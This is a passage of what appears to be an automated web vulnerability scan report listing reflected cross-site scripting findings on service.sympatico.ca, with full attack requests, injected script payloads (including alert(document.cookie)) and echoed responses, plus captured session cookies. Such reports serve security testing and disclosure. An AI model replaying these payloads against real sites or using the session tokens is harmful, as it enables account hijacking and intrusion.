idden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/additional.jsb66ca"><script>alert(1)</script>e39560c1134" />
...[SNIP]...

2.253. https://service.sympatico.ca/js/bannerPlayer.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/bannerPlayer.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b46cc"><script>alert(1)</script>a0efb3ff45e was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /jsb46cc"><script>alert(1)</script>a0efb3ff45e/bannerPlayer.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:58 GMT
Connection: close
Set-Cookie: SMSESSION=aAk14FLwbSGqtD9CDfzpem55m5ftnyTcletHoXUUUIvGLJhBpIdxsRmEESAMN5cO+trVkUfGOj5PuG1jUbmaKw6RHlZsWrxFx5XuFEZo+lTamO/Rr0UZ9/yV7rLOh6uV8kl5EA/kst6GpOy/RCpLogZDd/nv3O0Jt92iq46oai3wdhgP/MySKB1qlTYnHFVNHlpWhesxKlcLr1NLpQ32UnluPtr7knk/F4wldSVZ5bPbASTpxfiC6sn8+3HEupiV0MpFVSwlg4Y7SqqcoycuMah/J+bgCN+CuJQYYvyoYSNrLD6doQi8ag==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:59 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:05:59 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
<input type="hidden" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/jsb46cc"><script>alert(1)</script>a0efb3ff45e/bannerPlayer.js" />
...[SNIP]...

2.254. https://service.sympatico.ca/js/bannerPlayer.js [REST URL parameter 2]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/bannerPlayer.js

Issue detail

The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e384d"><script>alert(1)</script>76ec23db739 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js/bannerPlayer.jse384d"><script>alert(1)</script>76ec23db739 HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?44bf1%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3EHOYT.LLC.RESEACH.XSS.PC.11.23.2010.SERVICE.BELL.CA=1
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617907830%3B; SMSESSION=RxPju1Fnl8M8/HakDRQhtu1rw2j0ZgInL9rkL/BnBVhjyt42PkiP1cGAflPIdaf0WcsMRVR3M4/vN0Yym41JIsP64rCkx0UYoXWdT7/ueAK8V8aU6Yl3dwoNKD4SA5vAsZ6pPcyLLHCipdw0wsOza/hJCVZahb9hxXJAbWvttNj5U/iRTvkH4+eDFrljD9slOcgK3Y/iElmJcz7id9E/04NN4LSXjACgM9Z+TRl9UFpu3v5REL+Oiv4vMyJTF6/ECXmh2A1e1a89WtfWMtleUTdNaKp0otf+gJkbrb65t3Nd040Rn8t4UA==; CFID=139007246; CFTOKEN=83522848; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; UUID=7E86934D%2D65B8%2DB1E2%2D5DA15C856F2469B7; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; BASE_CACHED_URL=https%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%3F44bf1%22%3E%3Cscript%3Ealert%28document%2Ecookie%29%3C%2Fscript%3EHOYT%2ELLC%2ERESEACH%2EXSS%2EPC%2E11%2E23%2E2010%2ESERVICE%2EBELL%2ECA%3D1; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EInternet%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3BInternet%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:06:02 GMT
Connection: close
Set-Cookie: SMSESSION=wZ9UjZqqwFQn5qvBHRuIR7HM/xCDr4TOAXyA8GpeWnkmk+yd6Sk+QHQs0+dlMJw49LWh8Dwtk97YYmKxf1PMQ5m5pvsSsfihMGZxPVNB+gaIBr04ydFb58t1crFdURwWdZXDys8+q3kdHCy5wD1bxDV/rMUVEf6XkImeMRczAR+4EzcxMMQhDpHlsF0tWDmplpF1VBWM7WR334w6yCFePjydrrL5y96+lfr+P6NsWYlE4A/10ZHBjRKVAh+wud6X1dmsaJQOtLgaQKeKxPiQXfiNJ5/NDhtvJ/rbcwVVMpKx0+d/wHBXUA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:06:03 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E;domain=sympatico.ca;expires=Fri, 16-Nov-2040 23:06:03 GMT;path=/
Content-Type: text/html; charset=ISO-8859-1

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml">
<head>
   
   
   <!-- Character Set Encodi
...[SNIP]...
den" name="return" value="https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=https://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/js/bannerPlayer.jse384d"><script>alert(1)</script>76ec23db739" />
...[SNIP]...

2.255. https://service.sympatico.ca/js/flash_detect.js [REST URL parameter 1]  previous  next

Summary

Severity:   High
Confidence:   Certain
Host:   https://service.sympatico.ca
Path:   /js/flash_detect.js

Issue detail

The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5ca38"><script>alert(1)</script>0a48844ffdc was submitted in the REST URL parameter 1. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Request

GET /js5ca38"><script>alert(1)</script>0a48844ffdc/flash_detect.js HTTP/1.1
Host: service.sympatico.ca
Connection: keep-alive
Referer: https://service.sympatico.ca/index.cfm?method=home.pagenotfound&path_requested=http://service.sympatico.ca/includes/404.cfm?404;http://service.sympatico.ca/index.cfmcedc3%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E08b85c0c654
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.7 (KHTML, like Gecko) Chrome/7.0.517.44 Safari/534.7
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vnum=1292876043197%26vn%3D3; Language=en; __utmz=76150551.1290615373.1.1.utmcsr=burp|utmccn=(referral)|utmcmd=referral|utmcct=/show/10; s_pers=%20s_pv%3Dnb%253Ac%253Acust_care%253Ainternet%253Aco%253Amethod%253Dhome.pagenotfound%2528en-on%2529%7C1290617286170%3B; s_sess=%20s_cc%3Dtrue%3B%20s_sq%3D%3B; __utma=76150551.1461550168.1290615373.1290615373.1290615373.1; __utmc=76150551; __utmb=76150551.5.10.1290615373; SMSESSION=TgprfkKpYwggjqLgMgF2R7U5lKJiO70uACzJubrRufBG8X4XFb7CoOjFI/rfGNFHrcSgUVGCrl0mIryXuNetQ+twfJal39GmuzRUumSIln9R+rDLdUzUqMn1W5ogsXO2jRwI8Uqm4Q6un5aN5g8DNrjrjgYStAed+jDb/u4BG8FgpPfns7ewVUoYnD7xoG4ruboFicAEUxtxwzDE2SeMJju7RXd0LQj8bn6xvUI0h4a+pAtNSHeqoCWQ2HYR5eBswWOVIn0duU4BjvXX00Dcim3fwpIMFjrLSb93fGDkYMjSSEp+tFiBtw==; CFID=122144950; CFTOKEN=57529978; GEO_IPAD=A8958A918EF66A5FE2D3C1DDBDACE9D7; GEO_SPEED=Unknown; GEO_PROVIDER=Unknown; GEO_REGION=Unknown; BASE_CACHED_URL=index%2Ecfm; UUID=7E7D4EE1%2D65B8%2DB18C%2D8BB2A5969E294761; UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail; NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%3C%2Fbreadcrumb%3E%0D%0A%3C%2Fsettings%3E; VOKEN_SEEN=0

Response (redirected)

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 24 Nov 2010 23:05:35 GMT
Connection: close
Set-Cookie: SMSESSION=Qn566jCPR3kXUowXl65TxxR2OHACQxI611Ap2EWKkIw/zEgXPnSb3xIIu7IsrUk/ra0Sr4sCjdZqYc18LJoOWjHo7O34OKUqGGt+iyD4aHWH5lH/U8O+d4LoFawAhF0ZG6PcjgsQU8mxvqLqn9IRgUS3b/LIP2Oe6wZZOVo2pYxQXFuYIw5i0FkmYIMXAMDBF0TcZyT0dg0yROfPPFzgBll1UXAMGSBZHfcYmc4h/djPyW6CWBGNLfUWeudOz5Qn/zGsL9MAXxA91M7GhzetBS3vLy3RPjpORp5WPqEXsYnYVJ0slVIIzA==; path=/
Set-Cookie: UPROF_ISAUTHENTICATED=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_USERTYPE=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_MSNSTATE=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_UID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_PARENTUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_SYMPATICOUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_PASSPORTUID=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_SIGNINURL=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_ENCRYPTEDBLOCK=;expires=Tue, 24-Nov-2009 23:05:35 GMT;path=/
Set-Cookie: UPROF_EMAILSAVED=different%5Fthan%5Fuprof%5FEmail;path=/
Set-Cookie: NAVANTIS2=%3C%3Fxml%20version%3D%221%2E0%22%20encoding%3D%22UTF%2D8%22%3F%3E%0D%0A%3Csettings%3E%0D%0A%09%3Cmenu%5Factive%3E0%3C%2Fmenu%5Factive%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F1%20id%3D%220%22%20name%3D%22Internet%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F2%20id%3D%22617%22%20name%3D%22Getting%20started%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F3%20id%3D%22546%22%20name%3D%22Account%20%26amp%3B%20billing%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F4%20id%3D%22582%22%20name%3D%22Email%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F5%20id%3D%22691%22%20name%3D%22Security%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F6%20id%3D%22615%22%20name%3D%22Home%20networking%22%2F%3E%0D%0A%09%0D%0A%09%09%3Cmenu%5F7%20id%3D%22611%22%20name%3D%22Troubleshooting%22%2F%3E%0D%0A%09%0D%0A%09%3Cpagetitle%3EPage%20not%20found%3C%2Fpagetitle%3E%0D%0A%09%3Clanguage%3Een%3C%2Flanguage%3E%0D%0A%09%3Cbreadcrumb%3E%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fhome%2FHome%5FPersonal%2Epage%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BHome%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fwww%2Ebell%2Eca%2Fsupport%2FPrsCSrv%5FLanding%2Epage%3F%3Flanguage%3Den%26amp%3Bamp%3Bregion%3DON%22%26gt%3BSupport%26lt%3B%2Fa%26gt%3B%26lt%3B%2Fli%26gt%3B%0D%0A%09%0D%0A%09%09%26lt%3Bli%26gt%3B%26lt%3Ba%20href%3D%22http%3A%2F%2Fservice%2Esympatico%2Eca%2Findex%2Ecfm%22%26gt%3BInternet%26lt%3B%2Fa%26gt%3B%26lt%3